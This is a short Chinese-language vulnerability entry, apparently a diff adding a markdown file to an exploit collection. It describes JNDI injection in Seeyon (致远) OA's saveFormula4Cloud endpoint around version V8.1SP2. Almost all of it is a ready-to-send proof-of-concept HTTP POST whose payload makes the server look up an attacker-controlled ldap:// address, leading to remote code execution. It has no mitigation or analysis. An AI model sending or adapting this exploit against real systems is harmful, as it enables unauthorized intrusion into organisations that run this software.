6.14更新漏洞

致远oa系统saveFormula4Cloud存在JNDI注入.md

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+## 致远oa系统saveFormula4Cloud存在JNDI注入
+
+V8.1SP2上下
+
+## poc
+
+```
+POST /seeyon/ajax.do?method=ajaxAction&managerName=formulaManager&managerMethod=saveFormula4Cloud HTTP/1.1
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+User-Agent: Cozilla/5.0 (Vindows Et 6.1; Sow64; rident/7.0; rv:11.0)
+Accept-Encoding: gzip, deflate
+Cookie: JSESSIONID=36B0163EA8D303B27AFEBDF158D0AF6C;
+Cache-Control: no-cache
+Content-Encoding: deflate
+Pragma: no-cache
+Host: xxxxx
+Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
+Content-Length: 311
+Connection: close
+X-Forwarded-For: 1.2.3.4
+
+arguments=
+{"formulaName":"test","formulaAlias":"safe_pre","formulaType":"2","formulaExpression":"",
+"sample":"javax.naming.InitialContext initialContext = new javax.naming.InitialContext();Object lookup = initialContext.lookup(\"ldap://xx.xx.xx.xx\");"}
+```
+